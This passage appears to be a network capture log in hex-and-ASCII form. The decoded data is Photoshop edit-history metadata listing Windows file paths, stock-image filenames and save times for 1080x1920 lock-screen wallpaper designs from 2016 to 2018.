C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_Batch2\Crops\Q4-125-Batch2_El-nidoPhilippines_500px_128209505_1080x1920.jpg saved 2016-07-0
2022-07-20 13:44:17 UTC	508	IN	Data Raw: 51 34 2d 35 30 30 5f 42 61 74 63 68 31 5c 43 72 6f 70 73 5c 51 34 2d 35 30 30 2d 31 5f 46 6f 6f 74 62 72 69 64 67 65 4c 65 61 64 73 54 6f 53 65 61 5f 50 6c 61 69 6e 70 69 63 74 75 72 65 5f 70 33 30 30 6d 39 37 39 31 36 34 66 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 31 30 54 31 34 3a 30 31 3a 30 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 35 30 30 5f 42 61 74 63 68 31 5c 43 72 6f 70 73 5c 51 34 2d 35 30 30 2d 31 5f 4c 61 6b 65 4d 6f 72 6e 69 6e 67 4c 69 67 68 74 5f 50 6c 61 69 6e 70 69 63 74 75 72 65 5f 70 35 37 35 6d 31 30 37 34 34 38 39 66 5f 31 30 38 30 78 Data Ascii: Q4-500_Batch1\Crops\Q4-500-1_FootbridgeLeadsToSea_Plainpicture_p300m979164f_1080x1920.jpg saved 2016-08-10T14:01:01-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-500_Batch1\Crops\Q4-500-1_LakeMorningLight_Plainpicture_p575m1074489f_1080x
2022-07-20 13:44:17 UTC	532	IN	Data Raw: 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 38 54 31 33 3a 33 31 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 4a 75 61 6e 5c 53 55 52 31 35 5f 50 72 6f 34 5f 54 61 62 6c 65 74 5f 30 35 5f 47 72 61 64 69 65 6e 74 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 38 54 31 33 3a 33 31 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c Data Ascii: File Lockscreen_1080x1920_Portrait.psd opened 2016-09-28T13:31:43-07:00 File C:\Users\v-lizagh\MS\Windows10\Surface\Juan\SUR15_Pro4_Tablet_05_Gradient_1080x1920.jpg saved 2016-09-28T13:31:56-07:00 File C:\Users\v-lizagh\MS\Windows10\L
2022-07-20 13:44:17 UTC	619	IN	Data Raw: 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 31 38 3a 30 36 3a 35 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 31 38 3a 31 36 3a 32 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 Data Ascii: 0\Lockscreen_1080x1920_Portrait.psd saved 2016-10-17T18:06:53-07:00 File Lockscreen_1080x1920_Portrait.psd opened 2016-10-17T18:16:29-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080
2022-07-20 13:44:17 UTC	691	IN	Data Raw: 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 30 35 36 32 32 35 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 33 39 3a 31 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 35 36 39 31 38 35 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 34 30 3a 31 31 2d 30 38 Data Ascii: e\Crops\Office_Skype_GettyImages-660562255_1080x1920.jpg saved 2016-11-23T15:39:14-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Skype\Crops\Office_Skype_GettyImages-665691853_1080x1920.jpg saved 2016-11-23T15:40:11-08
2022-07-20 13:44:17 UTC	763	IN	Data Raw: 49 6d 61 67 65 73 2d 31 35 32 33 30 34 37 39 34 5f 31 30 38 30 78 31 39 32 30 46 46 38 34 30 44 32 36 34 41 34 32 44 31 32 30 38 41 42 41 35 35 34 35 34 36 44 31 44 35 36 32 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 30 54 31 34 3a 33 37 3a 31 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4d 53 2d 52 65 77 61 72 64 73 5c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 47 65 6e 65 72 61 6c 5c 4d 6f 76 69 65 73 5c 43 48 4f 53 45 4e 5c 45 64 67 65 2d 4d 53 52 65 77 61 72 64 73 2d 4d 6f 76 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 38 34 34 39 33 38 37 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 Data Ascii: Images-152304794_1080x1920FF840D264A42D1208ABA554546D1D562.psb saved 2017-01-30T14:37:13-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\MS-Rewards\Entertainment-General\Movies\CHOSEN\Edge-MSRewards-Movies_GettyImages-584493872_1080x1920.jpg saved&
2022-07-20 13:44:17 UTC	826	IN	Data Raw: 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 32 54 31 37 3a 34 35 3a 31 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4d 61 72 63 68 4d 61 64 6e 65 73 73 2d 4e 43 41 41 5c 4d 61 72 63 68 5c 43 48 4f 53 45 4e 5c 4d 49 54 2d 4d 61 72 63 68 4d 61 64 6e 65 73 73 2d 4e 43 41 41 5f 47 65 74 74 79 49 6d 61 67 65 73 2d Data Ascii: Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-02-22T17:45:18-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\MarchMadness-NCAA\March\CHOSEN\MIT-MarchMadness-NCAA_GettyImages-
2022-07-20 13:44:17 UTC	922	IN	Data Raw: 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 32 38 54 31 34 3a 30 32 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 Data Ascii: 0x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-03-28T14:02:24-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 201
2022-07-20 13:44:17 UTC	954	IN	Data Raw: 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 36 34 30 38 38 37 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 37 54 30 39 3a 31 30 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 Data Ascii: ;File C:\Users\v-lizagh\MS\Windows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGeneric_GettyImages-596408872_1080x1920.jpg saved 2017-04-27T09:10:59-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-04
2022-07-20 13:44:17 UTC	1001	IN	Data Raw: 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 32 31 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 37 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 32 32 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 34 3a 34 38 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 Data Ascii: xA;2017-05-12T16:21:19-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait7.psd saved 2017-05-12T16:22:31-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-05-15T14:48:51-07:00 F
2022-07-20 13:44:17 UTC	1049	IN	Data Raw: 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 68 69 6e 61 2d 57 68 61 74 73 41 70 70 5c 43 48 4f 53 45 4e 5c 57 68 61 74 73 61 70 70 2d 43 68 69 6e 61 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 31 31 34 33 33 38 31 34 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 33 54 31 35 3a 32 36 3a 30 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 68 69 6e 61 2d 57 68 61 74 73 41 70 70 5c 43 48 4f 53 45 4e 5c 57 68 61 74 73 61 70 70 2d 43 68 69 6e 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 37 38 31 37 38 39 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 Data Ascii: indows10\Windows\China-WhatsApp\CHOSEN\Whatsapp-China_shutterstock_114338140_1080x1920.jpg saved 2017-06-13T15:26:08-07:00 File C:\Users\v-lizagh\MS\Windows10\Windows\China-WhatsApp\CHOSEN\Whatsapp-China_GettyImages-537817892_1080x1920.jpg saved&#
2022-07-20 13:44:17 UTC	1105	IN	Data Raw: 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 34 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 43 68 6f 73 65 6e 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 46 59 31 38 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 30 36 37 33 33 31 35 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 34 3a 35 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 Data Ascii: ed 2017-07-26T13:24:34-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Chosen\MixerEngagementFY18_GettyImages-160673315_1080x1920.psd saved 2017-07-26T13:24:54-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\Mi
2022-07-20 13:44:17 UTC	1176	IN	Data Raw: 6e 65 44 72 69 76 65 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 37 34 39 38 36 30 36 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 31 36 3a 31 34 3a 31 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 32 Data Ascii: neDrive_shutterstock_374986063_1080x1920.jpg saved 2017-08-03T16:14:13-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-08-03T2
2022-07-20 13:44:17 UTC	1232	IN	Data Raw: 74 65 72 73 74 6f 63 6b 5f 34 35 35 32 35 37 34 35 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 38 54 31 35 3a 30 33 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 38 54 31 37 3a 31 33 3a 30 36 2d 30 37 3a 30 Data Ascii: terstock_455257450_1080x1920.jpg saved 2017-09-28T15:03:07-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-09-28T17:13:06-07:0
2022-07-20 13:44:17 UTC	1295	IN	Data Raw: 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 64 67 65 2d 4a 68 61 72 6b 68 61 6e 64 5f 41 6c 61 6d 79 2d 44 58 44 30 46 47 5f 31 30 38 30 78 31 39 32 30 35 44 38 45 38 38 41 44 42 32 43 35 41 33 32 37 38 36 45 38 46 35 35 36 37 30 31 30 38 30 45 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 36 54 31 32 3a 35 38 3a 31 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4a 68 61 72 6b 68 61 6e 64 5c 43 48 4f 53 45 4e Data Ascii: 9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Edge-Jharkhand_Alamy-DXD0FG_1080x19205D8E88ADB2C5A32786E8F556701080E5.psb saved 2017-11-16T12:58:14-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\Jharkhand\CHOSEN
2022-07-20 13:44:17 UTC	1335	IN	Data Raw: 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 34 30 3a 31 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 44 65 63 32 30 31 37 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 44 65 63 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 35 37 39 32 39 37 39 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 31 3a 34 31 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c Data Ascii: 6_1080x1920.jpg saved 2017-12-04T11:40:12-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\Dec2017\Chosen\Crops\MIT-WinterEntDec_shutterstock_357929792_1080x1920.jpg saved 2017-12-04T11:41:08-08:00 File C:\Users\
2022-07-20 13:44:17 UTC	1415	IN	Data Raw: 32 2d 32 30 54 32 33 3a 33 35 3a 32 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 44 72 6f 70 62 6f 78 20 28 41 71 75 65 6e 74 29 5c 57 69 6e 31 30 2d 4c 6f 63 6b 5f 53 70 6f 74 6c 69 67 68 74 5c 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 31 32 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 33 3a 33 36 3a 32 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 44 72 6f 70 62 6f 78 20 28 41 71 75 65 6e 74 29 5c 57 69 6e 31 30 2d 4c 6f 63 6b 73 63 72 65 65 6e 73 5c 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 Data Ascii: 2-20T23:35:24-08:00 File C:\Users\v-lizagh\Dropbox (Aquent)\Win10-Lock_Spotlight\Templates\Lockscreen_1080x1920_Portrait12.psd saved 2017-12-20T23:36:29-08:00 File C:\Users\v-lizagh\Dropbox (Aquent)\Win10-Lockscreens\Templates\Lockscreen_1080x
2022-07-20 13:44:17 UTC	1454	IN	Data Raw: 65 74 74 79 49 6d 61 67 65 73 2d 31 36 31 39 32 38 33 39 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 33 31 54 31 33 3a 33 37 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 31 39 32 38 33 39 33 5f 31 30 38 30 78 31 39 32 30 44 30 44 36 37 46 44 43 46 46 41 30 39 44 39 35 37 46 46 34 43 43 41 46 35 34 41 30 44 46 38 36 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 Data Ascii: ettyImages-161928393_1080x1920.jpg saved 2018-01-31T13:37:56-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-WinterOlympics_GettyImages-161928393_1080x1920D0D67FDCFFA09D957FF4CCAF54A0DF86.psb saved 2
2022-07-20 13:44:17 UTC	1590	IN	Data Raw: 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 33 38 3a 32 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 48 6f 6d 65 77 6f 72 6b 41 69 64 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 49 6e 74 6c 5f 48 6f 6d 65 77 6f 72 6b 41 69 64 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 37 36 32 35 35 36 36 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 33 38 3a 33 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c Data Ascii: xA;2018-02-15T15:38:27-08:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\HomeworkAid\CHOSEN\Crops\MIT-Intl_HomeworkAid_shutterstock_376255660_1080x1920.jpg saved 2018-02-15T15:38:31-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\
2022-07-20 13:44:17 UTC	1669	IN	Data Raw: 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 69 78 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 39 32 32 38 32 35 33 31 34 5f 31 30 38 30 78 31 39 32 30 39 35 37 37 43 42 42 46 41 39 43 35 35 39 33 44 34 30 34 43 37 46 41 42 45 46 45 30 38 31 30 46 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 35 3a 34 34 3a 34 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 52 6f 75 6e 64 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 69 Data Ascii: Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Mixer_GettyImages-922825314_1080x19209577CBBFA9C5593D404C7FABEFE0810F.psb saved 2018-03-21T15:44:44-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Round2\_CHOSEN\Crops\Mi
